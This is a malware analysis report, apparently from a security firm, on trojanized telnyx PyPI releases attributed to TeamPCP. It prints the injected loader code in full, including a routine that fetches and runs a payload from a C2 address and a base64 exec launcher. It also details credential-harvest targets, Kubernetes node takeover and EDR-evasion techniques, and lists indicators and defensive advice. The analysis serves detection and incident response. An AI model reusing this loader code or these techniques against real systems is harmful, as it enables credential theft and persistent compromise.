Ringing in Chaos: How TeamPCP Weaponized the Telnyx Python SDK

TeamPCP telnyx infection chain overview.
TeamPCP telnyx infection chain overview.

Executive Summary

On March 27, 2026 at roughly 03:51 UTC, threat actor TeamPCP uploaded two malicious versions (4.87.1 and 4.87.2) of the telnyx Python SDK to PyPI. The package pulls approximately 750,000 monthly downloads, and the blast radius extends well beyond the package itself to every downstream project that depends on it. PyPI quarantined both versions after roughly four hours of exposure.

The attack is surgical. A small amount of malicious code was injected into the package, and it executes the moment any application loads the library, with zero user interaction required. The architecture is three-staged: a trojanized package triggers a platform-specific loader, which downloads a second-stage payload hidden inside a WAV audio file using steganography, which in turn deploys a full credential harvester. The harvester vacuums up SSH keys, cloud provider credentials, Kubernetes secrets, database configs, crypto wallets, environment files, and more. It encrypts everything and exfiltrates it to the attacker’s C2. Payloads persist on infected systems. The attack works across all major operating systems and actively spreads through Kubernetes clusters by deploying privileged pods on every node.

This is the latest move in a broader TeamPCP supply chain campaign that has already hit Trivy (Aqua Security), Checkmarx, LiteLLM, and 46+ npm packages over the span of nine days. The campaign is high-speed, actively evolving, and showing escalating sophistication at each step. A recently announced partnership between TeamPCP, Vect, and BreachForums significantly raises the stakes. With access to stolen credentials and established underground marketplace distribution, the risk of ransomware operations flowing from these compromises is very real.

Organizations that installed the affected versions should treat this as a confirmed breach. Immediate incident response is warranted when infection is likely or attack artifacts are detected. This means full credential rotation across all exposed systems and a thorough risk assessment of downstream impact.

Initial Access: Package Compromise

The first thing that stands out is where the malicious versions came from. They were uploaded directly to PyPI, but never published to GitHub. If you check the team-telnyx/telnyx-python repository right now, the latest release is still v4.87.0. Versions 4.87.1 and 4.87.2 simply do not exist in the source repo.

That matters because of how modern Python projects normally ship code. Most teams wire up a CI/CD pipeline so that when a developer tags a new version in the source repository, the build system automatically packages it and uploads it to PyPI. The code passes through version control, code review, and automated testing before it ever reaches the package registry. So when a version appears on PyPI with no corresponding commit, tag, or release in the source repo, something has gone wrong.

Looking inside the malicious packages reveals how the attacker pulled this off. The source distribution includes a file at bin/publish-pypi that shows Telnyx’s exact publish workflow:

#!/usr/bin/env bash
set -eux
mkdir -p dist
rye build --clean
rye publish --yes --token=$PYPI_TOKEN

The attacker had a valid PYPI_TOKEN. With that token in hand, they used the project’s own build toolchain (rye build --clean) to rebuild the wheels. Because they followed the legitimate build process, every SHA256 hash in the wheel’s RECORD manifest checks out. The resulting packages look completely normal to any tool that verifies hash integrity. pip install --require-hashes, hashin, pip-compile --generate-hashes, none of them would have caught this. Those tools protect against version substitution, not against malicious content inside a properly-built version.

This is the same playbook TeamPCP used three days earlier against LiteLLM, where stolen CI/CD credentials were used to push malicious versions in exactly the same way.

Inside the package, only a single file was touched: _client.py. Everything else is byte-for-byte identical to the clean 4.87.0 release. That precision makes initial discovery harder because there is almost no noise in the diffs, but it also makes remediation straightforward once you know what to look for.

Most supply chain attacks are messier than this. Attackers manually stuff files into archives and leave broken RECORD entries behind, which makes detection easier. TeamPCP used the project’s own tooling to produce packages that are structurally indistinguishable from the real thing.

Technical Analysis

Stage 1: The Trojanized Client

The backdoor triggers the moment any code loads the telnyx library. A simple import telnyx or from telnyx import ... is enough. No function calls, no configuration, no user interaction. Just importing the package runs the malicious code.

Here is how the chain works. When Python processes import telnyx, it executes __init__.py, which contains this line:

from ._client import Client, Stream, Telnyx, Timeout, Transport, AsyncClient, AsyncStream, AsyncTelnyx, RequestOptions

That import loads _client.py, and because Python executes module-level code on import, the two function calls the attacker added at the bottom of the file run immediately:

setup()        # Windows attack path
FetchAudio()   # Linux/macOS attack path

Both functions check the operating system and silently return if they are on the wrong platform. Every exception is caught and swallowed (except: pass), so the host application never crashes or throws an error. The user has no idea anything happened.

Here is the injected code in full:

def setup():
    if os.name != 'nt':
        return

    try:
        p = os.path.join(os.getenv(_d('QVBQREFUQQ==')), _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'), _d('bXNidWlsZC5leGU='))
        l = p + _d('LmxvY2s=')
        t = p + _d('LnRtcA==')

        if os.path.exists(p):
            return

        if os.path.exists(l):
            m_time = os.path.getmtime(l)
            if (time.time() - m_time) < 43200:
                return

        with open(l, 'w') as f:
            f.write(str(time.time()))

        try:
            subprocess.run(['attrib', '+h', l], capture_output=True)
        except:
            pass

        r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
        with urllib.request.urlopen(r, timeout=15) as d:
            with open(t, "wb") as f:
                f.write(d.read())

        with wave.open(t, 'rb') as w:
            b = base64.b64decode(w.readframes(w.getnframes()))
            s, m = b[:8], b[8:]
            payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
            with open(p, "wb") as f:
                f.write(payload)

        if os.path.exists(t):
            os.remove(t)

        subprocess.Popen([p], creationflags=0x08000000)

    except:
        pass

def FetchAudio():
    if os.name == 'nt':
        return
    try:
        subprocess.Popen(
            [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            start_new_session=True
        )
    except:
        pass

Reading this raw, it is not immediately obvious what it does because the attacker wrapped every sensitive string in a _d() helper that base64-decodes at runtime. Here is what those encoded values actually resolve to:

Base64Decoded
QVBQREFUQQ==APPDATA
TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwMicrosoft\Windows\Start Menu\Programs\Startup
bXNidWlsZC5leGU=msbuild.exe
LmxvY2s=.lock
LnRtcA==.tmp
aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==http://83.142.209.203:8080/hangup.wav
VXNlci1BZ2VudA==User-Agent
TW96aWxsYS81LjA=Mozilla/5.0

With that table in hand, the two functions tell a clear story. Execution branches depending on the operating system.

On Windows, setup() runs. It downloads a WAV file from the C2 server at http://83.142.209.203:8080/hangup.wav, extracts a hidden native PE binary from the audio data using steganography, and writes it to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe. The name is deliberate: msbuild.exe is a legitimate Microsoft Build Engine binary, so its presence on a developer’s machine does not immediately raise suspicion. The Startup folder location means it runs automatically on every user login without needing registry modifications or scheduled tasks.

The function includes several anti-analysis and anti-repeat mechanisms. Before doing anything, it checks whether msbuild.exe already exists at the target path, and if so, returns immediately to avoid re-infecting. It also creates a .lock file with a timestamp and checks whether fewer than 12 hours have passed since the last attempt, preventing repeated download attempts on every import telnyx. That lock file is hidden from the user with attrib +h. When the PE binary finally launches, it uses the CREATE_NO_WINDOW flag (0x08000000) so no console window flashes on screen. The temporary WAV file used during decoding is deleted immediately after the payload is extracted.

There is one revealing detail in the version history. In version 4.87.1, the module-level call reads Setup() with a capital S, but the function is defined as lowercase setup(). Python is case-sensitive, so this throws a NameError that gets silently caught by the outer try/except. The Windows path was completely broken in the first release. Version 4.87.2, uploaded shortly after, fixes the casing to setup(). The Linux path worked from the start in both versions because FetchAudio() was spelled correctly throughout. This bug-then-fix pattern tells us the attacker tested deployment but not execution on Windows, and shipped a correction as soon as they noticed.

On Linux and macOS, FetchAudio() runs instead. It takes a different approach entirely. Rather than downloading a binary, it base64-decodes a large Python payload stored in the _p variable (4,428 characters of base64, decoding to 3,320 bytes of Python) and executes it in a detached child process with start_new_session=True. That detached process is Stage 2, which handles its own C2 download, steganography decoding, credential harvesting, encryption, and exfiltration. Because the process is detached, it keeps running even if the parent Python application exits.

Malicious code injected into _client.py showing the base64 payload and FetchAudio function.
Malicious code injected into _client.py showing the base64 payload and FetchAudio function.

Stage 2a: The Linux Loader

The detached process launched by FetchAudio() decodes into a loader script built around a single function called audioimport(). Its job is straightforward: fetch the actual credential harvester, run it, encrypt whatever it collects, and send the results to the attacker. Everything happens inside a temporary directory that auto-deletes when the script exits, leaving almost no forensic trace on disk.

Fetching the Harvester

The loader downloads a file called ringtone.wav from the same C2 server (http://83.142.209.203:8080/ringtone.wav), which is not actually an audio file. It is a valid WAV container (8-bit mono PCM, 44100 Hz), but the audio frame data contains an encoded Python script. Both the Windows payload (hangup.wav) and the Linux payload (ringtone.wav) use the same scheme: the attacker prepends an 8-byte random XOR key to the payload, encrypts the bytes against that key, base64-encodes the result, and writes it as audio frame data. The file plays as static noise if opened in a media player, passes MIME-type and file-type checks as audio/wav, and bypasses content filters and deep packet inspection that would flag a raw binary download. On the receiving end, decoding is just the reverse: read the frames, base64-decode, split off the first 8 bytes as the XOR key, and decrypt the rest.

Stage 2 loader downloading and decoding the WAV steganography payload.
Stage 2 loader downloading and decoding the WAV steganography payload.

Running It in Memory

The loader executes that harvester by piping it to a new Python process via stdin (python -), so the harvester script never touches disk. All output from the harvester (the stolen credentials) is captured to a temp file called collected.

Encrypting the Haul

Once collection is done, the loader encrypts the results using a hybrid scheme. It generates a random 32-byte session key with openssl rand, encrypts the credential dump with AES-256-CBC using that key (with PBKDF2 for key derivation), then wraps the session key itself with RSA-4096 OAEP using a hardcoded public key. This means only the holder of the corresponding RSA private key can decrypt the data. Each run produces a unique session key, so even if you capture multiple exfiltrations, you cannot reuse a recovered key to decrypt others.

Hybrid encryption chain showing AES-256-CBC bulk encryption and RSA-4096 key wrapping.
Hybrid encryption chain showing AES-256-CBC bulk encryption and RSA-4096 key wrapping.

Exfiltration

The encrypted payload and the wrapped session key get bundled into a tar archive called tpcp.tar.gz and POSTed to the C2 over HTTP with the header X-Filename: tpcp.tar.gz. That header is consistent across every TeamPCP campaign and is one of the most reliable network-level detection indicators.

The RSA Key as Attribution Anchor

The RSA-4096 public key embedded in this loader has a DER fingerprint of bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. That same key appears in every TeamPCP campaign analyzed so far: Trivy, LiteLLM, Checkmarx, and now Telnyx. It is the single strongest attribution indicator tying all of these compromises to the same actor.

Hardcoded RSA-4096 public key embedded in the Stage 2 loader.
Hardcoded RSA-4096 public key embedded in the Stage 2 loader.

Stage 3a: The Linux Credential Harvester

The Stage 3 payload is a 354-line Python script served from the C2 via the WAV steganography mechanism described above. It uses RC4 encryption to obfuscate its most sensitive strings at rest, making static analysis harder without first decrypting those blobs. The collection scope is massive, covering virtually every category of secret a server or CI/CD environment might hold.

Cloud Provider Credentials

TargetFiles/Paths
AWS~/.aws/credentials, ~/.aws/config, all AWS_* env vars, EC2 IMDS role creds (169.254.169.254), ECS container creds
GCP~/.config/gcloud/*, application_default_credentials.json, GOOGLE_APPLICATION_CREDENTIALS
AzureEntire ~/.azure/ directory tree, all AZURE_* env vars

Infrastructure Credentials

TargetFiles/Paths
SSH~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config; /root/.ssh/*, /home/*/.ssh/*; /etc/ssh/ssh_host_*_key
Kubernetes~/.kube/config, service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, CA certs, all secrets across all namespaces via K8s API
Docker~/.docker/config.json, /kaniko/.docker/config.json
TLS/SSLAll .pem, .key, .p12, .pfx files; /etc/ssl/private/*; /etc/letsencrypt/*

Application Secrets

TargetFiles/Paths
Environment files.env, .env.local, .env.production, .env.development, .env.staging across /home, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp (recursive, up to 6 dirs deep)
CI/CD.gitlab-ci.yml, .travis.yml, Jenkinsfile, .github/workflows/*
IaCterraform.tfvars, terraform.tfstate
Package managers.npmrc, .pypirc, .gem/credentials
VPN/TunnelWireGuard configs, .vault-token

Database Credentials

TargetFiles/Paths
PostgreSQL.pgpass
MySQLmy.cnf
Redisredis.conf
MongoDB.mongorc.js
Connection stringsAll *_DB_*, *DATABASE*, *_CONN* env vars

Cryptocurrency Wallets

TargetFiles/Paths
Bitcoinwallet.dat
EthereumKeystore files
SolanaValidator keypairs
OthersLitecoin, Dogecoin, Zcash, Dash, Ripple, Monero configs

System Information

TargetMethod
Identitywhoami, hostname, uname -a
NetworkIP addresses, routing tables
Historybash_history, zsh_history, mysql_history, psql_history, redis-cli history
Accountspasswd, shadow
Auth logs/var/log/auth.log, /var/log/secure
EnvironmentComplete os.environ dump

Kubernetes Lateral Movement

The harvester goes beyond simple file collection when it detects Kubernetes service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token. This is common in CI/CD pipelines and any workload running inside a K8s pod.

Harvester code checking for Kubernetes service account tokens and dumping cluster secrets.
Harvester code checking for Kubernetes service account tokens and dumping cluster secrets.

When it finds those tokens, the harvester first dumps all secrets across all namespaces via the Kubernetes API. Then it enumerates every node in the cluster. For each node, it creates a privileged pod in the kube-system namespace running alpine:latest with host PID, host networking, all-taint toleration, and the host root filesystem mounted at /host.

Each of those pods drops a persistence script called sysmon.py to the host at /host/root/.config/sysmon/sysmon.py and registers it as a systemd user service named “System Telemetry Service.” The service is enabled and started immediately.

Privileged pod creation and sysmon.py persistence deployment across K8s nodes.
Privileged pod creation and sysmon.py persistence deployment across K8s nodes.

The result: a single compromised CI/CD pipeline that runs pip install telnyx==4.87.2 inside a Kubernetes pod can lead to persistent backdoors on every node in the cluster.

The Persistent Backdoor

The sysmon.py persistence script is a polling backdoor. After a five-minute startup delay, it contacts https://checkmarx.zone/raw every 50 minutes looking for a new payload URL. When it gets one, it downloads the binary to /tmp/pglog, makes it executable, and runs it detached. It tracks the last URL it fetched in /tmp/.pg_state to avoid re-downloading the same payload.

This gives TeamPCP a persistent, updateable foothold on every compromised host and every K8s node. They can push arbitrary new payloads at any time through the checkmarx.zone C2. The backdoor is the one component that deliberately writes to disk, trading stealth for long-term access.

Decoded sysmon.py persistence script polling checkmarx.zone for new payloads.
Decoded sysmon.py persistence script polling checkmarx.zone for new payloads.

That covers the Linux side of things. The Windows path leads somewhere quite different.

Stage 2b: The Windows Loader

During one infection, we were able to recover the deleted msbuild.exe from a compromised system. The binary is identical to the Checkmarx variant (7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd, 179,712 bytes, GCC 13/14 Mingw-w64, compiled 2026-03-22), confirming that TeamPCP reused the exact same RAT across campaigns with only the C2 configuration swapped out at injection time.

NTDLL Unhooking

The PE starts by neutralizing endpoint detection. It reads a clean copy of ntdll.dll from disk, maps it into memory, and overwrites the .text section of the already-loaded ntdll with the clean version. This removes any userland hooks that EDR products have placed on NT API functions. From this point on, all system calls go through the unhooked copy, making the process invisible to most endpoint security tools.

NTDLL unhooking by mapping a fresh copy from disk.
NTDLL unhooking by mapping a fresh copy from disk.

API Hash Resolution

Instead of importing functions by name (which would show up plainly in the import table), the PE resolves all API calls at runtime through hash lookups. The hashing algorithm is djb2 (seed 0x1505, multiplier 33, case-sensitive). A function at 0x140007BC0 walks the export tables of loaded DLLs, hashes each export name, and compares it against a list of target hashes. The resolved function pointers are stored for later use.

API hash resolution via djb2 at runtime.
API hash resolution via djb2 at runtime.

The PE also patches EtwEventWrite to return immediately, preventing Event Tracing for Windows from logging the injection activity that follows.

Stage 3b: The Windows RAT

PNG Steganography

Where the Linux path hides its payload in WAV audio, the Windows PE uses a different trick. It carries its next-stage payload as a PNG image embedded in its .data section at offset 0x120. The image is 179×179 pixels, RGBA 8-bit, with an entropy of 4.86. It is obviously not a real image. All 256 values are used across the R, G, and B channels (encoded data), while the alpha channel is uniformly 0xFF (padding). The PE decodes it using the stb_image library.

Process injection via CreateProcessW into dllhost.exe.
Process injection via CreateProcessW into dllhost.exe.

The first four pixel bytes encode the payload size as a big-endian uint32 (95,743 bytes). The remaining pixel data contains the actual payload, with every 4th byte (the alpha channel) discarded, giving roughly 71,807 bytes of effective code. That payload breaks down into two parts: a 1,023-byte shellcode stub (a reflective PE loader) followed by the inner PE starting at offset 0x3FF.

Inner PE following the reflective PE loader.
Inner PE following the reflective PE loader.

Process Injection

The outer PE msbuild.exe spawns a suspended C:\Windows\System32\dllhost.exe process (a legitimate COM Surrogate binary), allocates memory in it, queues the shellcode as an APC (early bird injection), and resumes the thread. The shellcode stub is position-independent: it walks the PEB to find loaded DLLs, locates the inner PE’s MZ header, maps its sections into memory, resolves its imports, flushes the instruction cache, and jumps to the entry point.

Process injection via CreateProcessW into dllhost.exe.
Process injection via CreateProcessW into dllhost.exe.

C2 Configuration

What makes this binary reusable across campaigns is how the C2 config is handled. The outer PE writes it into the inner PE’s entry point area before injection. The config sits in .rdata as an RC4-encrypted blob followed by a 16-byte key. Decrypted configs recovered from different campaign variants:

Checkmarx variant:

C2 Server:     checkmarx.zone
URI Path:      /telemetry/checkmarx.json
Custom Header: X-Content-ID

Trivy variant:

C2 Server:     45.148.10.212 (= scan.aquasecurtiy.org)
URI Paths:     /api/v1/status, /updates/check.php, /content.html (rotation)
Custom Header: X-Beacon-Id

Telnyx variant: Same binary confirmed via forensic recovery. C2 configuration written at injection time, pointing to 83.142.209.203:8080.

Both variants share the same User-Agent string (Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0) and use HTTP POST for beaconing.

RAT Capabilities

The inner PE is a full-featured RAT with 123 resolved API functions. Its command set covers file browsing and management (list, read, write, delete, copy, move), process enumeration and termination, command execution, privilege escalation via token theft and impersonation, named pipe communication for lateral movement, raw socket networking for port forwarding and pivoting, system reconnaissance (hostname, user, NICs, OS version), and HTTP-based C2 beaconing for command reception and data exfiltration.

Attribution: TeamPCP

TeamPCP is linked to TeamTNT, a group historically known for cryptojacking operations, but this campaign marks a clear escalation into credential theft at scale across multiple software ecosystems. Their operational tempo is aggressive: nine days, five major targets (Trivy, 46+ npm packages, Checkmarx, LiteLLM, Telnyx), with bug fixes shipping within minutes of broken releases. The technical capabilities span PyPI and npm supply chain compromise, GitHub Actions hijacking, WAV steganography, hybrid AES+RSA encryption, Kubernetes lateral movement, and decentralized C2 via ICP blockchain canisters. Combined with the announced partnership with Vect and BreachForums, TeamPCP has both the tooling and the distribution channels to turn stolen credentials into ransomware operations or sell them at scale.

Recommendations

Reduce Supply Chain Attack Surface

Understanding the risk is the first step. Developers need to know that running pip install or npm install is not a safe operation by default, and that a single compromised package can silently steal every credential on the system. That awareness alone changes behavior.

On the maintainer side, 2FA on all PyPI and npm accounts should be mandatory at this point. Scoped tokens per package and short-lived CI secrets limit the blast radius if a token does get stolen. For PyPI specifically, trusted publishers via OIDC eliminate long-lived API tokens entirely and tie publishing to verified CI/CD pipelines.

On the consumer side, pin all dependencies to exact versions and use lockfiles. Review changelogs before upgrading. Run npm audit and pip-audit as part of CI and fail the build on known vulnerabilities. Use ephemeral build containers with no mounted credentials so that even if a malicious package executes during install, there is nothing to steal.

In non-development environments (production servers, staging, shared infrastructure), block pip install and npm install entirely. Application control policies or simply removing the Python and Node package manager binaries from production images is a straightforward way to enforce this.

Know Your Dependencies

Implement dependency monitoring across all environments: developer machines, CI/CD pipelines, GitHub Actions, and anywhere else packages get installed. Track not just the packages you install directly but also their downstream dependants. When a package like telnyx gets compromised, every project that imports it is affected too.

The single biggest issue we see in our incident response engagements is organizations not knowing whether they are affected or not. When an advisory drops, teams scramble to figure out which systems have the package installed, which version they are running, and whether the compromised version ever ran in their environment. Having that inventory ready before an incident happens is the difference between a four-hour response and a four-day one.

Credential Hygiene

Use short-lived credentials wherever possible. AWS STS session tokens, OIDC-based cloud authentication, and time-limited service account keys all expire before an attacker can use them. If your team is still using long-lived IAM access keys sitting in ~/.aws/credentials, a single bad pip install hands those to the attacker permanently.

Stop storing production secrets in .env files on disk. The harvester walks six directories deep across common application paths looking for exactly these files. Use a secrets manager with runtime injection instead so secrets never touch the filesystem.

Separate development environments from credential-rich environments. Dev containers, remote development setups like Codespaces or Gitpod, or simply dedicated VMs that do not have cloud credentials, SSH keys, or Kubernetes configs mounted. If the environment where packages get installed has no secrets, a compromised package finds nothing worth stealing.

Block Known Indicators

For network indicators, blocking the known C2 IPs and domains (checkmarx.zone, aquasecurtiy.org, 83.142.209.203, and the broader 83.142.209.0/24 subnet) is straightforward at the firewall or proxy level. Detecting the X-Filename: tpcp.tar.gz HTTP header in outbound traffic is harder to block inline but is a high-fidelity detection rule for SIEM or NDR tools.

For filesystem indicators, alerting on the known malicious paths (msbuild.exe in the Startup folder, sysmon.py under ~/.config/sysmon/, the hidden .lock files) is more of a detection play than a prevention one. These paths are specific enough to generate very few false positives.

Hunt and Detect

WAV file downloads are rare in most enterprise environments. An HTTP GET for a .wav file from a bare IP address on a non-standard port is unusual enough to warrant investigation on its own.

For exfiltration, alerting on the pattern matters more than alerting on the specific C2. C2 addresses rotate, but the behavior stays the same: an HTTP POST to port 8080 with application/octet-stream content type and a payload in the 1-50KB range originating from a Python process. That combination is worth flagging regardless of destination.

On the endpoint side, DLL unhooking and ETW disabling are well-documented detection opportunities, but covering them in full detail would blow the scope of this article. The key point is that the msbuild.exe PE actively tampers with ntdll.dll and patches EtwEventWrite, and EDR products with kernel-level visibility can catch both behaviors.

For persistence, focus on well-known autostart extension points (ASEPs) after baselining: Startup folder entries, scheduled tasks, services, and systemd units. attrib +h execution is worth monitoring after establishing a baseline for your environment. dllhost.exe being spawned by unusual parent processes is another signal, though it also requires baselining to avoid noise.

Kubernetes Hardening

For Kubernetes environments, the most impactful controls directly counter the lateral movement technique documented in this report. Alert on pod creation with hostPID, hostNetwork, or host filesystem mounts. These are almost never needed for legitimate workloads and are exactly what the harvester uses to escape to the node.

Restrict service account token permissions. No CI/CD workload should have cluster-wide secret access. Pod security policies or admission controllers should block privileged pod creation in kube-system (or any namespace) by default.

For organizations doing triage right now, audit existing pods in kube-system for anything named node-setup-*. That is the pod naming pattern the harvester uses. Also check for unexpected systemd services named sysmon.service on cluster nodes.

If Compromised

If version 4.87.1 or 4.87.2 was installed in any environment, treat it as a confirmed breach and initiate incident response. Perform a risk assessment to understand which systems were exposed and what credentials were accessible.

Rotate everything: SSH keys, cloud IAM credentials (AWS, GCP, Azure), Kubernetes service account tokens, Docker registry credentials, database passwords, API keys, TLS certificates, CI/CD pipeline tokens, and any secrets stored in .env files. Move cryptocurrency wallet funds off any system where the compromised package ran.

Audit cloud provider logs (CloudTrail, GCP audit logs, Azure activity logs) for unauthorized access using the stolen credentials. Look for unusual API calls, new IAM users or roles, and access from unfamiliar IP ranges.

Critically, removing the package with pip uninstall telnyx does not remove the persistent backdoor. On Linux, check for and remove ~/.config/sysmon/sysmon.py and the systemd service at ~/.config/systemd/user/sysmon.service. On Windows, delete %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe and the associated .lock file. In Kubernetes, remove any node-setup-* pods in kube-system and check every node for the sysmon.service systemd unit.

Conclusion

TeamPCP is running a fast, multi-ecosystem supply chain campaign and they are not done. In nine days they compromised Trivy, Checkmarx, LiteLLM, 46+ npm packages, and now Telnyx, each time refining their tooling and expanding their reach. The telnyx compromise is the most technically complete variant we have analyzed: WAV and PNG steganography for payload delivery, hybrid AES+RSA encryption for exfiltration, Kubernetes lateral movement for cluster-wide persistence, and a full-featured RAT on Windows with NTDLL unhooking, ETW patching, and process hollowing into dllhost.exe.

What stands out is how deliberate the engineering is. The attacker used the project’s own build toolchain to produce packages with valid RECORD hashes. The credential harvester targets every major cloud provider, every common secret storage location, and every cryptocurrency wallet format in a single pass. The K8s lateral movement does not just steal secrets from the current pod; it escapes to every node in the cluster and installs a persistent backdoor that can deliver arbitrary follow-on payloads. And the Windows RAT is not a one-off build. It is a configurable platform where only the C2 address changes between campaigns, meaning new targets can be spun up in minutes.

The announced partnership with Vect and BreachForums adds a distribution and monetization layer to what was already a capable technical operation. Stolen credentials from these compromises are likely already being traded or used for follow-on access. The indicators published here should be treated as immediately actionable.

Indicators of Compromise

File Hashes

Malicious PyPI Packages

  • 7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 — telnyx-4.87.1-py3-none-any.whl
  • cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 — telnyx-4.87.2-py3-none-any.whl
  • f66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093 — telnyx-4.87.1.tar.gz
  • a9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5 — telnyx-4.87.2.tar.gz

Trojanized Source Files

  • 23b1ec58649170650110ecad96e5a9490d98146e105226a16d898fbe108139e5 — malicious _client.py (4.87.1)
  • ab4c4aebb52027bf3d2f6b2dcef593a1a2cff415774ea4711f7d6e0aa1451d4e — malicious _client.py (4.87.2)

Decoded Payloads

  • 84edce66f09c55bbb44754411bde4b092288d172734df62fac20d6f794b3a2ec — decoded _p Linux Stage 2 loader (3,320 bytes)
  • 8eaf4c4d0b82620bcda29b97896e2da0a754205c035721479f7ceafb817e4466 — Stage 3 harvester + loader wrapper
  • 5ce544a8db5d0b0953c966384858e4e8a017e7acba2f5f6d0ac8f529d59939d8 — decoded Stage 3 credential harvester (354 lines)
  • 6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a — sysmon.py persistence backdoor

Windows PE Chain (confirmed reused across Telnyx, Checkmarx, and Trivy campaigns)

  • 7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd — msbuild.exe outer PE loader
  • e6912e3ec58120bf63edf2e4be6ff2f092c40cfbc655a12f4a463b2ef98d368e — embedded PNG steganographic carrier (179×179 RGBA)
  • 196b5e0e06424a02e360e28e08d7dcfab7ec8946af9477ca352c6cf6b7d4e9bd — inner PE RAT extracted from PNG steganography
  • e4e3b176c1255666024d90392e09466a23bf6e8740bf589c6d1ccf2dfff451a4 — position-independent shellcode stub (reflective PE loader)
  • Import hash (msbuild.exe): d2210feb0438c0ce89b5579ef75ae4d4

Cross-Campaign Attribution Key

  • bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8 — RSA-4096 public key DER fingerprint (identical across all TeamPCP campaigns)
  • 4eceb569b4330565b93058465beab0e6d5ea09cfba8e7f29d7be1b5a2abd958a — RSA-4096 public key PEM format hash

Cross-Campaign Packages (same RSA key)

  • 8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2 — litellm-1.82.7-py3-none-any.whl
  • d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb — litellm-1.82.8-py3-none-any.whl

Cross-Campaign Harvester Variants

  • d6fc0ff06978742a2ef789304bcdbe69a731693ad066a457db0878279830d6a9 — Python harvester Build B, LiteLLM C2
  • d29deee2e8bec85d2fcaec427f17d677f7de4f8387e00566b0b45ff81157bd31 — Python harvester Build B, CRLF variant
  • cd6af6c9ba149673ff89a1f1ccc8ec40a265a3b54ad455fbef28dc2967a98e45 — CanisterWorm JavaScript variant (npm)

Cross-Campaign RAT Variants (same inner PE, different C2 config)

  • a585277a67a176fe098edf90986670653a5039e03e4028d18dd0b607ed287caa — RAT dropper, DLL variant (C2: 45.148.10.212)
  • 485952ba5347aa83f00537a4be0bebb274021f773a0203b65142f1b86dfda34d — RAT dropper, libcurl.dll (C2: 45.148.10.212)

Network Indicators

C2 Infrastructure

  • 83.142.209.203 — primary C2, port 8080/tcp, AS205759 Ghosty Networks / DEMENIN B.V., Luxembourg, Spamhaus-listed (DROP/SBL), offline as of 2026-03-27
  • 83.142.209.11 — checkmarx.zone resolved IP, same /24 subnet
  • 45.148.10.212 — scan.aquasecurtiy.org resolved IP

Payload Delivery

  • http://83.142.209.203:8080/hangup.wav — Windows PE via WAV steganography
  • http://83.142.209.203:8080/ringtone.wav — Linux credential harvester via WAV steganography

Exfiltration Endpoints

  • http://83.142.209.203:8080/ — POST exfiltration (Telnyx + LiteLLM)
  • https://models.litellm.cloud/ — POST exfiltration (LiteLLM variants)
  • https://checkmarx.zone/vsx — POST exfiltration (CanisterWorm JS)

Persistent Backdoor Polling

  • https://checkmarx.zone/raw — sysmon.py polls every 50 minutes for new payload URLs

C2 Domains

  • checkmarx.zone — registered 2026-03-22, Spaceship.com, AWS Route53, resolved to 83.142.209.11
  • scan.aquasecurtiy.org — Aqua Security typosquat (note misspelling of “security”)
  • models.litellm.cloud — LiteLLM typosquat
  • tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io — ICP blockchain canister C2 (CanisterWorm)

Network Signatures

  • X-Filename: tpcp.tar.gz — HTTP header on all exfiltration POST requests (cross-campaign, highest-fidelity network indicator)
  • User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0 — Windows RAT beaconing
  • Content-Type: application/octet-stream — exfiltration POST content type

C2 Configuration (decrypted from RAT variants)

  • Checkmarx: POST checkmarx.zone/telemetry/checkmarx.json, header X-Content-ID, RC4 key 331ab9c032cf95c89d877ee05b46f8d8
  • Trivy: POST 45.148.10.212 /api/v1/status, /updates/check.php, /content.html (rotation), header X-Beacon-Id
  • Telnyx: same binary, C2 config 83.142.209.203:8080 (confirmed via forensic recovery)

Host Indicators

Windows Filesystem

  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe — persistent PE binary (masquerades as Microsoft Build Engine)
  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock — hidden lock file (12h cooldown, attrib +h)
  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.tmp — temp WAV download (deleted after decode)

Linux/macOS Filesystem

  • ~/.config/sysmon/sysmon.py — persistent polling backdoor
  • ~/.config/systemd/user/sysmon.service — systemd persistence (Description: “System Telemetry Service”)
  • /tmp/pglog — backdoor binary download target
  • /tmp/.pg_state — backdoor state tracking file

Kubernetes Resources

